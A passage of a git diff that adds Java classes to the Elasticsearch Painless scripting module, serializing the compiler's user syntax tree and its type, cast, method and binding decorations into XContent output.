java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; +import java.util.Arrays; +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; + +/** + * Serialize user tree decorations from org.elasticsearch.painless.symbol.Decorations + */ +public class DecorationToXContent { + + static final class Fields { + static final String DECORATION = "decoration"; + static final String TYPE = "type"; + static final String CAST = "cast"; + static final String METHOD = "method"; + } + + public static void ToXContent(TargetType targetType, XContentBuilderWrapper builder) { + start(targetType, builder); + builder.field(Fields.TYPE, targetType.getTargetType().getSimpleName()); + builder.endObject(); + } + + public static void ToXContent(ValueType valueType, XContentBuilderWrapper builder) { + start(valueType, builder); + builder.field(Fields.TYPE, valueType.getValueType().getSimpleName()); + builder.endObject(); + } + + public static void ToXContent(StaticType staticType, XContentBuilderWrapper builder) { + start(staticType, builder); + builder.field(Fields.TYPE, staticType.getStaticType().getSimpleName()); + builder.endObject(); + } + + public static void ToXContent(PartialCanonicalTypeName partialCanonicalTypeName, XContentBuilderWrapper builder) { + start(partialCanonicalTypeName, builder); + builder.field(Fields.TYPE, partialCanonicalTypeName.getPartialCanonicalTypeName()); + builder.endObject(); + } + + public static void ToXContent(ExpressionPainlessCast expressionPainlessCast, XContentBuilderWrapper builder) { + start(expressionPainlessCast, builder); + builder.field(Fields.CAST); + ToXContent(expressionPainlessCast.getExpressionPainlessCast(), builder); + builder.endObject(); + } + + public static void ToXContent(SemanticVariable semanticVariable, XContentBuilderWrapper builder) { + start(semanticVariable, builder); + builder.field("variable"); + ToXContent(semanticVariable.getSemanticVariable(), builder); + builder.endObject(); + } + + public static void ToXContent(IterablePainlessMethod iterablePainlessMethod, XContentBuilderWrapper builder) { + start(iterablePainlessMethod, builder); + builder.field(Fields.METHOD); + ToXContent(iterablePainlessMethod.getIterablePainlessMethod(), builder); + builder.endObject(); + } + + public static void ToXContent(UnaryType unaryType, XContentBuilderWrapper builder) { + start(unaryType, builder); + builder.field(Fields.TYPE, unaryType.getUnaryType().getSimpleName()); + builder.endObject(); + } + + public static void ToXContent(BinaryType binaryType, XContentBuilderWrapper builder) { + start(binaryType, builder); + builder.field(Fields.TYPE, binaryType.getBinaryType().getSimpleName()); + builder.endObject(); + } + + public static void ToXContent(ShiftType shiftType, XContentBuilderWrapper builder) { + start(shiftType, builder); + builder.field(Fields.TYPE, shiftType.getShiftType().getSimpleName()); + builder.endObject(); + } + + public static void ToXContent(ComparisonType comparisonType, XContentBuilderWrapper builder) { + start(comparisonType, builder); + builder.field(Fields.TYPE, comparisonType.getComparisonType().getSimpleName()); + builder.endObject(); + } + + public static void ToXContent(CompoundType compoundType, XContentBuilderWrapper builder) { + start(compoundType, builder); + builder.field(Fields.TYPE, compoundType.getCompoundType().getSimpleName()); + builder.endObject(); + } + + public static void ToXContent(UpcastPainlessCast upcastPainlessCast, XContentBuilderWrapper builder) { + start(upcastPainlessCast, builder); + builder.field(Fields.CAST); + ToXContent(upcastPainlessCast.getUpcastPainlessCast(), builder); + builder.endObject(); + } + + public static void ToXContent(DowncastPainlessCast downcastPainlessCast, XContentBuilderWrapper builder) { + start(downcastPainlessCast, builder); + builder.field(Fields.CAST); + ToXContent(downcastPainlessCast.getDowncastPainlessCast(), builder); + builder.endObject(); + } + + public static void ToXContent(StandardPainlessField standardPainlessField, XContentBuilderWrapper builder) { + start(standardPainlessField, builder); + builder.field("field"); + ToXContent(standardPainlessField.getStandardPainlessField(), builder); + builder.endObject(); + } + + public static void ToXContent(StandardPainlessConstructor standardPainlessConstructor, XContentBuilderWrapper builder) { + start(standardPainlessConstructor, builder); + builder.field("constructor"); + ToXContent(standardPainlessConstructor.getStandardPainlessConstructor(), builder); + builder.endObject(); + } + + public static void ToXContent(StandardPainlessMethod standardPainlessMethod, XContentBuilderWrapper builder) { + start(standardPainlessMethod, builder); + builder.field(Fields.METHOD); + ToXContent(standardPainlessMethod.getStandardPainlessMethod(), builder); + builder.endObject(); + } + + public static void ToXContent(GetterPainlessMethod getterPainlessMethod, XContentBuilderWrapper builder) { + start(getterPainlessMethod, builder); + builder.field(Fields.METHOD); + ToXContent(getterPainlessMethod.getGetterPainlessMethod(), builder); + builder.endObject(); + } + + public static void ToXContent(SetterPainlessMethod setterPainlessMethod, XContentBuilderWrapper builder) { + start(setterPainlessMethod, builder); + builder.field(Fields.METHOD); + ToXContent(setterPainlessMethod.getSetterPainlessMethod(), builder); + builder.endObject(); + } + + public static void ToXContent(StandardConstant standardConstant, XContentBuilderWrapper builder) { + start(standardConstant, builder); + builder.startObject("constant"); + builder.field(Fields.TYPE, standardConstant.getStandardConstant().getClass().getSimpleName()); + builder.field("value", standardConstant.getStandardConstant()); + builder.endObject(); + builder.endObject(); + } + + public static void ToXContent(StandardLocalFunction standardLocalFunction, XContentBuilderWrapper builder) { + start(standardLocalFunction, builder); + builder.field("function"); + ToXContent(standardLocalFunction.getLocalFunction(), builder); + builder.endObject(); + } + + public static void ToXContent(StandardPainlessClassBinding standardPainlessClassBinding, XContentBuilderWrapper builder) { + start(standardPainlessClassBinding, builder); + builder.field("PainlessClassBinding"); + ToXContent(standardPainlessClassBinding.getPainlessClassBinding(), builder); + builder.endObject(); + } + + public static void ToXContent(StandardPainlessInstanceBinding standardPainlessInstanceBinding, XContentBuilderWrapper builder) { + start(standardPainlessInstanceBinding, builder); + builder.field("PainlessInstanceBinding"); + ToXContent(standardPainlessInstanceBinding.getPainlessInstanceBinding(), builder); + builder.endObject(); + } + + public static void ToXContent(MethodNameDecoration methodNameDecoration, XContentBuilderWrapper builder) { + start(methodNameDecoration, builder); + builder.field("methodName", methodNameDecoration.getMethodName()); + builder.endObject(); + } + + public static void ToXContent(ReturnType returnType, XContentBuilderWrapper builder) { + start(returnType, builder); + builder.field("returnType", returnType.getReturnType().getSimpleName()); + builder.endObject(); + } + + public static void ToXContent(TypeParameters typeParameters, XContentBuilderWrapper builder) { + start(typeParameters, builder); + if (typeParameters.getTypeParameters().isEmpty() == false) { + builder.field("typeParameters", classNames(typeParameters.getTypeParameters())); + } + builder.endObject(); + } + + public static void ToXContent(ParameterNames parameterNames, XContentBuilderWrapper builder) { + start(parameterNames, builder); + if (parameterNames.getParameterNames().isEmpty() == false) { + builder.field("parameterNames", parameterNames.getParameterNames()); + } + builder.endObject(); + } + + public static void ToXContent(ReferenceDecoration referenceDecoration, XContentBuilderWrapper builder) { + start(referenceDecoration, builder); + FunctionRef ref = referenceDecoration.getReference(); + builder.field("interfaceMethodName", ref.interfaceMethodName); + + builder.field("interfaceMethodType"); + ToXContent(ref.interfaceMethodType, builder); + + builder.field("delegateClassName", ref.delegateClassName); + builder.field("isDelegateInterface", ref.isDelegateInterface); + builder.field("isDelegateAugmented", ref.isDelegateAugmented); + builder.field("delegateInvokeType", ref.delegateInvokeType); + builder.field("delegateMethodName", ref.delegateMethodName); + + builder.field("delegateMethodType"); + ToXContent(ref.delegateMethodType, builder); + + if (ref.delegateInjections.length > 0) { + builder.startArray("delegateInjections"); + for (Object obj : ref.delegateInjections) { + builder.startObject(); + builder.field("type", obj.getClass().getSimpleName()); + builder.field("value", obj); + builder.endObject(); + } + builder.endArray(); + } + + builder.field("factoryMethodType"); + ToXContent(ref.factoryMethodType, builder); + builder.endObject(); + } + + public static void ToXContent(EncodingDecoration encodingDecoration, XContentBuilderWrapper builder) { + start(encodingDecoration, builder); + builder.field("encoding", encodingDecoration.getEncoding()); + builder.endObject(); + } + + public static void ToXContent(CapturesDecoration capturesDecoration, XContentBuilderWrapper builder) { + start(capturesDecoration, builder); + if (capturesDecoration.getCaptures().isEmpty() == false) { + builder.startArray("captures"); + for (SemanticScope.Variable capture : capturesDecoration.getCaptures()) { + ToXContent(capture, builder); + } + builder.endArray(); + } + builder.endObject(); + } + + public static void ToXContent(InstanceType instanceType, XContentBuilderWrapper builder) { + start(instanceType, builder); + builder.field("instanceType", instanceType.getInstanceType().getSimpleName()); + builder.endObject(); + } + + public static void ToXContent(AccessDepth accessDepth, XContentBuilderWrapper builder) { + start(accessDepth, builder); + builder.field("depth", accessDepth.getAccessDepth()); + builder.endObject(); + } + + public static void ToXContent(IRNodeDecoration irNodeDecoration, XContentBuilderWrapper builder) { + start(irNodeDecoration, builder); + // TODO(stu): expand this + builder.field("irNode", irNodeDecoration.getIRNode().toString()); + builder.endObject(); + } + + public static void ToXContent(Converter converter, XContentBuilderWrapper builder) { + start(converter, builder); + builder.field("converter"); + ToXContent(converter.getConverter(), builder); + builder.endObject(); + } + + public static void ToXContent(Decoration decoration, XContentBuilderWrapper builder) { + if (decoration instanceof TargetType) { + ToXContent((TargetType) decoration, builder); + } else if (decoration instanceof ValueType) { + ToXContent((ValueType) decoration, builder); + } else if (decoration instanceof StaticType) { + ToXContent((StaticType) decoration, builder); + } else if (decoration instanceof PartialCanonicalTypeName) { + ToXContent((PartialCanonicalTypeName) decoration, builder); + } else if (decoration instanceof ExpressionPainlessCast) { + ToXContent((ExpressionPainlessCast) decoration, builder); + } else if (decoration instanceof SemanticVariable) { + ToXContent((SemanticVariable) decoration, builder); + } else if (decoration instanceof IterablePainlessMethod) { + ToXContent((IterablePainlessMethod) decoration, builder); + } else if (decoration instanceof UnaryType) { + ToXContent((UnaryType) decoration, builder); + } else if (decoration instanceof BinaryType) { + ToXContent((BinaryType) decoration, builder); + } else if (decoration instanceof ShiftType) { + ToXContent((ShiftType) decoration, builder); + } else if (decoration instanceof ComparisonType) { + ToXContent((ComparisonType) decoration, builder); + } else if (decoration instanceof CompoundType) { + ToXContent((CompoundType) decoration, builder); + } else if (decoration instanceof UpcastPainlessCast) { + ToXContent((UpcastPainlessCast) decoration, builder); + } else if (decoration instanceof DowncastPainlessCast) { + ToXContent((DowncastPainlessCast) decoration, builder); + } else if (decoration instanceof StandardPainlessField) { + ToXContent((StandardPainlessField) decoration, builder); + } else if (decoration instanceof StandardPainlessConstructor) { + ToXContent((StandardPainlessConstructor) decoration, builder); + } else if (decoration instanceof StandardPainlessMethod) { + ToXContent((StandardPainlessMethod) decoration, builder); + } else if (decoration instanceof GetterPainlessMethod) { + ToXContent((GetterPainlessMethod) decoration, builder); + } else if (decoration instanceof SetterPainlessMethod) { + ToXContent((SetterPainlessMethod) decoration, builder); + } else if (decoration instanceof StandardConstant) { + ToXContent((StandardConstant) decoration, builder); + } else if (decoration instanceof StandardLocalFunction) { + ToXContent((StandardLocalFunction) decoration, builder); + } else if (decoration instanceof StandardPainlessClassBinding) { + ToXContent((StandardPainlessClassBinding) decoration, builder); + } else if (decoration instanceof StandardPainlessInstanceBinding) { + ToXContent((StandardPainlessInstanceBinding) decoration, builder); + } else if (decoration instanceof MethodNameDecoration) { + ToXContent((MethodNameDecoration) decoration, builder); + } else if (decoration instanceof ReturnType) { + ToXContent((ReturnType) decoration, builder); + } else if (decoration instanceof TypeParameters) { + ToXContent((TypeParameters) decoration, builder); + } else if (decoration instanceof ParameterNames) { + ToXContent((ParameterNames) decoration, builder); + } else if (decoration instanceof ReferenceDecoration) { + ToXContent((ReferenceDecoration) decoration, builder); + } else if (decoration instanceof EncodingDecoration) { + ToXContent((EncodingDecoration) decoration, builder); + } else if (decoration instanceof CapturesDecoration) { + ToXContent((CapturesDecoration) decoration, builder); + } else if (decoration instanceof InstanceType) { + ToXContent((InstanceType) decoration, builder); + } else if (decoration instanceof AccessDepth) { + ToXContent((AccessDepth) decoration, builder); + } else if (decoration instanceof IRNodeDecoration) { + ToXContent((IRNodeDecoration) decoration, builder); + } else if (decoration instanceof Converter) { + ToXContent((Converter) decoration, builder); + } else { + builder.startObject(); + builder.field(Fields.DECORATION, decoration.getClass().getSimpleName()); + builder.endObject(); + } + } + + // lookup + public static void ToXContent(PainlessCast painlessCast, XContentBuilderWrapper builder) { + builder.startObject(); + if (painlessCast.originalType != null) { + builder.field("originalType", painlessCast.originalType.getSimpleName()); + } + if (painlessCast.targetType != null) { + builder.field("targetType", painlessCast.targetType.getSimpleName()); + } + + builder.field("explicitCast", painlessCast.explicitCast); + + if (painlessCast.unboxOriginalType != null) { + builder.field("unboxOriginalType", painlessCast.unboxOriginalType.getSimpleName()); + } + if (painlessCast.unboxTargetType != null) { + builder.field("unboxTargetType", painlessCast.unboxTargetType.getSimpleName()); + } + if (painlessCast.boxOriginalType != null) { + builder.field("boxOriginalType", painlessCast.boxOriginalType.getSimpleName()); + } + builder.endObject(); + } + + public static void ToXContent(PainlessMethod method, XContentBuilderWrapper builder) { + builder.startObject(); + if (method.javaMethod != null) { + builder.field("javaMethod"); + ToXContent(method.methodType, builder); + } + if (method.targetClass != null) { + builder.field("targetClass", method.targetClass.getSimpleName()); + } + if (method.returnType != null) { + builder.field("returnType", method.returnType.getSimpleName()); + } + if (method.typeParameters != null && method.typeParameters.isEmpty() == false) { + builder.field("typeParameters", classNames(method.typeParameters)); + } + if (method.methodHandle != null) { + builder.field("methodHandle"); + ToXContent(method.methodHandle.type(), builder); + } + // ignoring methodType as that's handled under methodHandle + AnnotationsToXContent(method.annotations, builder); + builder.endObject(); + } + + public static void ToXContent(FunctionTable.LocalFunction localFunction, XContentBuilderWrapper builder) { + builder.startObject(); + builder.field("mangledName", localFunction.getMangledName()); + builder.field("returnType", localFunction.getReturnType().getSimpleName()); + if (localFunction.getTypeParameters().isEmpty() == false) { + builder.field("typeParameters", classNames(localFunction.getTypeParameters())); + } + builder.field("isInternal", localFunction.isInternal()); + builder.field("isStatic", localFunction.isStatic()); + builder.field("methodType"); + ToXContent(localFunction.getMethodType(), builder); + builder.endObject(); + } + + public static void ToXContent(PainlessClassBinding binding, XContentBuilderWrapper builder) { + builder.startObject(); + builder.field("javaConstructor"); + ToXContent(binding.javaConstructor, builder); + + builder.field("javaMethod"); + ToXContent(binding.javaMethod, builder); + builder.field("returnType", binding.returnType.getSimpleName()); + if (binding.typeParameters.isEmpty() == false) { + builder.field("typeParameters", classNames(binding.typeParameters)); + } + AnnotationsToXContent(binding.annotations, builder); + builder.endObject(); + } + + public static void ToXContent(PainlessInstanceBinding binding, XContentBuilderWrapper builder) { + builder.startObject(); + builder.field("targetInstance", binding.targetInstance.getClass().getSimpleName()); + + builder.field("javaMethod"); + ToXContent(binding.javaMethod, builder); + builder.field("returnType", binding.returnType.getSimpleName()); + if (binding.typeParameters.isEmpty() == false) { + builder.field("typeParameters", classNames(binding.typeParameters)); + } + AnnotationsToXContent(binding.annotations, builder); + builder.endObject(); + } + + public static void ToXContent(PainlessField field, XContentBuilderWrapper builder) { + builder.startObject(); + builder.field("javaField"); + ToXContent(field.javaField, builder); + builder.field("typeParameter", field.typeParameter.getSimpleName()); + builder.field("getterMethodHandle"); + ToXContent(field.getterMethodHandle.type(), builder); + builder.field("setterMethodHandle"); + if (field.setterMethodHandle != null) { + ToXContent(field.setterMethodHandle.type(), builder); + } + builder.endObject(); + } + + public static void ToXContent(PainlessConstructor constructor, XContentBuilderWrapper builder) { + builder.startObject(); + builder.field("javaConstructor"); + ToXContent(constructor.javaConstructor, builder); + if (constructor.typeParameters.isEmpty() == false) { + builder.field("typeParameters", classNames(constructor.typeParameters)); + } + builder.field("methodHandle"); + ToXContent(constructor.methodHandle.type(), builder); + builder.endObject(); + } + + // symbol + public static void ToXContent(SemanticScope.Variable variable, XContentBuilderWrapper builder) { + builder.startObject(); + builder.field(Fields.TYPE, variable.getType()); + builder.field("name", variable.getName()); + builder.field("isFinal", variable.isFinal()); + builder.endObject(); + } + + // annotations + public static void AnnotationsToXContent(Map, Object> annotations, XContentBuilderWrapper builder) { + if (annotations == null || annotations.isEmpty()) { + return; + } + builder.startArray("annotations"); + for (Class key : annotations.keySet().stream().sorted().collect(Collectors.toList())) { + AnnotationToXContent(annotations.get(key), builder); + } + builder.endArray(); + } + + public static void AnnotationToXContent(Object annotation, XContentBuilderWrapper builder) { + if (annotation instanceof CompileTimeOnlyAnnotation) { + builder.value(CompileTimeOnlyAnnotation.NAME); + } else if (annotation instanceof DeprecatedAnnotation) { + builder.startObject(); + builder.field("name", DeprecatedAnnotation.NAME); + builder.field("message", ((DeprecatedAnnotation) annotation).getMessage()); + builder.endObject(); + } else if (annotation instanceof InjectConstantAnnotation) { + builder.startObject(); + builder.field("name", InjectConstantAnnotation.NAME); + builder.field("message", ((InjectConstantAnnotation) annotation).injects); + builder.endObject(); + } else if (annotation instanceof NoImportAnnotation) { + builder.value(NoImportAnnotation.NAME); + } else if (annotation instanceof NonDeterministicAnnotation) { + builder.value(NonDeterministicAnnotation.NAME); + } else { + builder.value(annotation.toString()); + } + } + + // asm + public static void ToXContent(org.objectweb.asm.commons.Method asmMethod, XContentBuilderWrapper builder) { + builder.startObject(); + builder.field("name", asmMethod.getName()); + builder.field("descriptor", asmMethod.getDescriptor()); + builder.field("returnType", asmMethod.getReturnType().getClassName()); + builder.field("argumentTypes", Arrays.stream(asmMethod.getArgumentTypes()).map(Type::getClassName)); + builder.endObject(); + } + + // java.lang.invoke + public static void ToXContent(MethodType methodType, XContentBuilderWrapper builder) { + builder.startObject(); + List> parameters = methodType.parameterList(); + if (parameters.isEmpty() == false) { + builder.field("parameters", classNames(parameters)); + } + builder.field("return", methodType.returnType().getSimpleName()); + builder.endObject(); + } + + // java.lang.reflect + public static void ToXContent(Field field, XContentBuilderWrapper builder) { + builder.startObject(); + builder.field("name", field.getName()); + builder.field("type", field.getType().getSimpleName()); + builder.field("modifiers", Modifier.toString(field.getModifiers())); + builder.endObject(); + } + + public static void ToXContent(Method method, XContentBuilderWrapper builder) { + builder.startObject(); + builder.field("name", method.getName()); + builder.field("parameters", classNames(method.getParameterTypes())); + builder.field("return", method.getReturnType().getSimpleName()); + Class[] exceptions = method.getExceptionTypes(); + if (exceptions.length > 0) { + builder.field("exceptions", classNames(exceptions)); + } + builder.field("modifiers", Modifier.toString(method.getModifiers())); + builder.endObject(); + } + + public static void ToXContent(Constructor constructor, XContentBuilderWrapper builder) { + builder.startObject(); + builder.field("name", constructor.getName()); + if (constructor.getParameterTypes().length > 0) { + builder.field("parameterTypes", classNames(constructor.getParameterTypes())); + } + if (constructor.getExceptionTypes().length > 0) { + builder.field("exceptionTypes", classNames(constructor.getExceptionTypes())); + } + builder.field("modifiers", Modifier.toString(constructor.getModifiers())); + builder.endObject(); + } + + // helpers + public static void start(Decoration decoration, XContentBuilderWrapper builder) { + builder.startObject(); + builder.field(Fields.DECORATION, decoration.getClass().getSimpleName()); + } + + public static List classNames(Class[] classes) { + return Arrays.stream(classes).map(Class::getSimpleName).collect(Collectors.toList()); + } + + public static List classNames(List> classes) { + return classes.stream().map(Class::getSimpleName).collect(Collectors.toList()); + } +} diff --git a/modules/lang-painless/src/main/java/org/elasticsearch/painless/toxcontent/UserTreeToXContent.java b/modules/lang-painless/src/main/java/org/elasticsearch/painless/toxcontent/UserTreeToXContent.java new file mode 100644 index 0000000000000..1adb24a13caca --- /dev/null +++ b/modules/lang-painless/src/main/java/org/elasticsearch/painless/toxcontent/UserTreeToXContent.java @@ -0,0 +1,688 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.painless.toxcontent; + +import org.elasticsearch.common.xcontent.XContentBuilder; +import org.elasticsearch.painless.Operation; +import org.elasticsearch.painless.node.AExpression; +import org.elasticsearch.painless.node.ANode; +import org.elasticsearch.painless.node.EAssignment; +import org.elasticsearch.painless.node.EBinary; +import org.elasticsearch.painless.node.EBooleanComp; +import org.elasticsearch.painless.node.EBooleanConstant; +import org.elasticsearch.painless.node.EBrace; +import org.elasticsearch.painless.node.ECall; +import org.elasticsearch.painless.node.ECallLocal; +import org.elasticsearch.painless.node.EComp; +import org.elasticsearch.painless.node.EConditional; +import org.elasticsearch.painless.node.EDecimal; +import org.elasticsearch.painless.node.EDot; +import org.elasticsearch.painless.node.EElvis; +import org.elasticsearch.painless.node.EExplicit; +import org.elasticsearch.painless.node.EFunctionRef; +import org.elasticsearch.painless.node.EInstanceof; +import org.elasticsearch.painless.node.ELambda; +import org.elasticsearch.painless.node.EListInit; +import org.elasticsearch.painless.node.EMapInit; +import org.elasticsearch.painless.node.ENewArray; +import org.elasticsearch.painless.node.ENewArrayFunctionRef; +import org.elasticsearch.painless.node.ENewObj; +import org.elasticsearch.painless.node.ENull; +import org.elasticsearch.painless.node.ENumeric; +import org.elasticsearch.painless.node.ERegex; +import org.elasticsearch.painless.node.EString; +import org.elasticsearch.painless.node.ESymbol; +import org.elasticsearch.painless.node.EUnary; +import org.elasticsearch.painless.node.SBlock; +import org.elasticsearch.painless.node.SBreak; +import org.elasticsearch.painless.node.SCatch; +import org.elasticsearch.painless.node.SClass; +import org.elasticsearch.painless.node.SContinue; +import org.elasticsearch.painless.node.SDeclBlock; +import org.elasticsearch.painless.node.SDeclaration; +import org.elasticsearch.painless.node.SDo; +import org.elasticsearch.painless.node.SEach; +import org.elasticsearch.painless.node.SExpression; +import org.elasticsearch.painless.node.SFor; +import org.elasticsearch.painless.node.SFunction; +import org.elasticsearch.painless.node.SIf; +import org.elasticsearch.painless.node.SIfElse; +import org.elasticsearch.painless.node.SReturn; +import org.elasticsearch.painless.node.SThrow; +import org.elasticsearch.painless.node.STry; +import org.elasticsearch.painless.node.SWhile; +import org.elasticsearch.painless.phase.UserTreeBaseVisitor; +import org.elasticsearch.painless.symbol.Decorator.Condition; +import org.elasticsearch.painless.symbol.Decorator.Decoration; +import org.elasticsearch.painless.symbol.ScriptScope; + +import java.util.Comparator; +import java.util.List; +import java.util.Map; +import java.util.Objects; +import java.util.Set; +import java.util.stream.Collectors; + +/** + * Serialize the user tree + */ +public class UserTreeToXContent extends UserTreeBaseVisitor { + public final XContentBuilderWrapper builder; + + public UserTreeToXContent(XContentBuilder builder) { + this.builder = new XContentBuilderWrapper(Objects.requireNonNull(builder)); + } + + public UserTreeToXContent() { + this.builder = new XContentBuilderWrapper(); + } + + static final class Fields { + static final String NODE = "node"; + static final String LOCATION = "location"; + static final String LEFT = "left"; + static final String RIGHT = "right"; + static final String BLOCK = "block"; + static final String CONDITION = "condition"; + static final String TYPE = "type"; + static final String SYMBOL = "symbol"; + static final String DECORATIONS = "decorations"; + static final String CONDITIONS = "conditions"; + } + + @Override + public void visitClass(SClass userClassNode, ScriptScope scope) { + start(userClassNode); + + builder.field("source", scope.getScriptSource()); + builder.startArray("functions"); + userClassNode.visitChildren(this, scope); + builder.endArray(); + + end(userClassNode, scope); + } + + @Override + public void visitFunction(SFunction userFunctionNode, ScriptScope scope) { + start(userFunctionNode); + + builder.field("name", userFunctionNode.getFunctionName()); + builder.field("returns", userFunctionNode.getReturnCanonicalTypeName()); + if (userFunctionNode.getParameterNames().isEmpty() == false) { + builder.field("parameters", userFunctionNode.getParameterNames()); + } + if (userFunctionNode.getCanonicalTypeNameParameters().isEmpty() == false) { + builder.field("parameterTypes", userFunctionNode.getCanonicalTypeNameParameters()); + } + builder.field("isInternal", userFunctionNode.isInternal()); + builder.field("isStatic", userFunctionNode.isStatic()); + builder.field("isSynthetic", userFunctionNode.isSynthetic()); + builder.field("isAutoReturnEnabled", userFunctionNode.isAutoReturnEnabled()); + + builder.startArray(Fields.BLOCK); + userFunctionNode.visitChildren(this, scope); + builder.endArray(); + + end(userFunctionNode, scope); + } + + @Override + public void visitBlock(SBlock userBlockNode, ScriptScope scope) { + start(userBlockNode); + + builder.startArray("statements"); + userBlockNode.visitChildren(this, scope); + builder.endArray(); + + end(userBlockNode, scope); + } + + @Override + public void visitIf(SIf userIfNode, ScriptScope scope) { + start(userIfNode); + + builder.startArray(Fields.CONDITION); + userIfNode.getConditionNode().visit(this, scope); + builder.endArray(); + + block("ifBlock", userIfNode.getIfBlockNode(), scope); + + end(userIfNode, scope); + } + + @Override + public void visitIfElse(SIfElse userIfElseNode, ScriptScope scope) { + start(userIfElseNode); + + builder.startArray(Fields.CONDITION); + userIfElseNode.getConditionNode().visit(this, scope); + builder.endArray(); + + block("ifBlock", userIfElseNode.getIfBlockNode(), scope); + block("elseBlock", userIfElseNode.getElseBlockNode(), scope); + + end(userIfElseNode, scope); + } + + @Override + public void visitWhile(SWhile userWhileNode, ScriptScope scope) { + start(userWhileNode); + loop(userWhileNode.getConditionNode(), userWhileNode.getBlockNode(), scope); + end(userWhileNode, scope); + } + + @Override + public void visitDo(SDo userDoNode, ScriptScope scope) { + start(userDoNode); + loop(userDoNode.getConditionNode(), userDoNode.getBlockNode(), scope); + end(userDoNode, scope); + } + + @Override + public void visitFor(SFor userForNode, ScriptScope scope) { + start(userForNode); + + ANode initializerNode = userForNode.getInitializerNode(); + builder.startArray("initializer"); + if (initializerNode != null) { + initializerNode.visit(this, scope); + } + builder.endArray(); + + builder.startArray("condition"); + AExpression conditionNode = userForNode.getConditionNode(); + if (conditionNode != null) { + conditionNode.visit(this, scope); + } + builder.endArray(); + + builder.startArray("afterthought"); + AExpression afterthoughtNode = userForNode.getAfterthoughtNode(); + if (afterthoughtNode != null) { + afterthoughtNode.visit(this, scope); + } + builder.endArray(); + + block(userForNode.getBlockNode(), scope); + + end(userForNode, scope); + } + + @Override + public void visitEach(SEach userEachNode, ScriptScope scope) { + start(userEachNode); + + builder.field(Fields.TYPE, userEachNode.getCanonicalTypeName()); + builder.field(Fields.SYMBOL, userEachNode.getSymbol()); + + builder.startArray("iterable"); + userEachNode.getIterableNode().visitChildren(this, scope); + builder.endArray(); + + block(userEachNode.getBlockNode(), scope); + + end(userEachNode, scope); + } + + @Override + public void visitDeclBlock(SDeclBlock userDeclBlockNode, ScriptScope scope) { + start(userDeclBlockNode); + + builder.startArray("declarations"); + userDeclBlockNode.visitChildren(this, scope); + builder.endArray(); + + end(userDeclBlockNode, scope); + } + + @Override + public void visitDeclaration(SDeclaration userDeclarationNode, ScriptScope scope) { + start(userDeclarationNode); + + builder.field(Fields.TYPE, userDeclarationNode.getCanonicalTypeName()); + builder.field(Fields.SYMBOL, userDeclarationNode.getSymbol()); + + builder.startArray("value"); + userDeclarationNode.visitChildren(this, scope); + builder.endArray(); + + end(userDeclarationNode, scope); + } + + @Override + public void visitReturn(SReturn userReturnNode, ScriptScope scope) { + start(userReturnNode); + + builder.startArray("value"); + userReturnNode.visitChildren(this, scope); + builder.endArray(); + + end(userReturnNode, scope); + } + + @Override + public void visitExpression(SExpression userExpressionNode, ScriptScope scope) { + start(userExpressionNode); + + builder.startArray("statement"); + userExpressionNode.visitChildren(this, scope); + builder.endArray(); + + end(userExpressionNode, scope); + } + + @Override + public void visitTry(STry userTryNode, ScriptScope scope) { + start(userTryNode); + + block(userTryNode.getBlockNode(), scope); + + builder.startArray("catch"); + for (SCatch catchNode : userTryNode.getCatchNodes()) { + catchNode.visit(this, scope); + } + builder.endArray(); + + end(userTryNode, scope); + } + + @Override + public void visitCatch(SCatch userCatchNode, ScriptScope scope) { + start(userCatchNode); + + builder.field("exception", userCatchNode.getBaseException()); + builder.field(Fields.TYPE, userCatchNode.getCanonicalTypeName()); + builder.field(Fields.SYMBOL, userCatchNode.getSymbol()); + + builder.startArray(Fields.BLOCK); + userCatchNode.visitChildren(this, scope); + builder.endArray(); + + end(userCatchNode, scope); + } + + @Override + public void visitThrow(SThrow userThrowNode, ScriptScope scope) { + start(userThrowNode); + + builder.startArray("expression"); + userThrowNode.visitChildren(this, scope); + builder.endArray(); + + end(userThrowNode, scope); + } + + @Override + public void visitContinue(SContinue userContinueNode, ScriptScope scope) { + start(userContinueNode); + end(userContinueNode, scope); + } + + @Override + public void visitBreak(SBreak userBreakNode, ScriptScope scope) { + start(userBreakNode); + end(userBreakNode, scope); + } + + @Override + public void visitAssignment(EAssignment userAssignmentNode, ScriptScope scope) { + start(userAssignmentNode); + // TODO(stu): why would operation be null? + builder.field("postIfRead", userAssignmentNode.postIfRead()); + binaryOperation(userAssignmentNode.getOperation(), userAssignmentNode.getLeftNode(), userAssignmentNode.getRightNode(), scope); + end(userAssignmentNode, scope); + } + + @Override + public void visitUnary(EUnary userUnaryNode, ScriptScope scope) { + start(userUnaryNode); + + operation(userUnaryNode.getOperation()); + + builder.startArray("child"); + userUnaryNode.visitChildren(this, scope); + builder.endArray(); + + end(userUnaryNode, scope); + } + + @Override + public void visitBinary(EBinary userBinaryNode, ScriptScope scope) { + start(userBinaryNode); + binaryOperation(userBinaryNode.getOperation(), userBinaryNode.getLeftNode(), userBinaryNode.getRightNode(), scope); + end(userBinaryNode, scope); + } + + @Override + public void visitBooleanComp(EBooleanComp userBooleanCompNode, ScriptScope scope) { + start(userBooleanCompNode); + binaryOperation(userBooleanCompNode.getOperation(), userBooleanCompNode.getLeftNode(), userBooleanCompNode.getRightNode(), scope); + end(userBooleanCompNode, scope); + } + + @Override + public void visitComp(EComp userCompNode, ScriptScope scope) { + start(userCompNode); + binaryOperation(userCompNode.getOperation(), userCompNode.getLeftNode(), userCompNode.getRightNode(), scope); + end(userCompNode, scope); + } + + @Override + public void visitExplicit(EExplicit userExplicitNode, ScriptScope scope) { + start(userExplicitNode); + + builder.field(Fields.TYPE, userExplicitNode.getCanonicalTypeName()); + builder.startArray("child"); + userExplicitNode.visitChildren(this, scope); + builder.endArray(); + + end(userExplicitNode, scope); + } + + @Override + public void visitInstanceof(EInstanceof userInstanceofNode, ScriptScope scope) { + start(userInstanceofNode); + + builder.field(Fields.TYPE, userInstanceofNode.getCanonicalTypeName()); + builder.startArray("child"); + userInstanceofNode.visitChildren(this, scope); + builder.endArray(); + + end(userInstanceofNode, scope); + } + + @Override + public void visitConditional(EConditional userConditionalNode, ScriptScope scope) { + start(userConditionalNode); + + builder.startArray("condition"); + 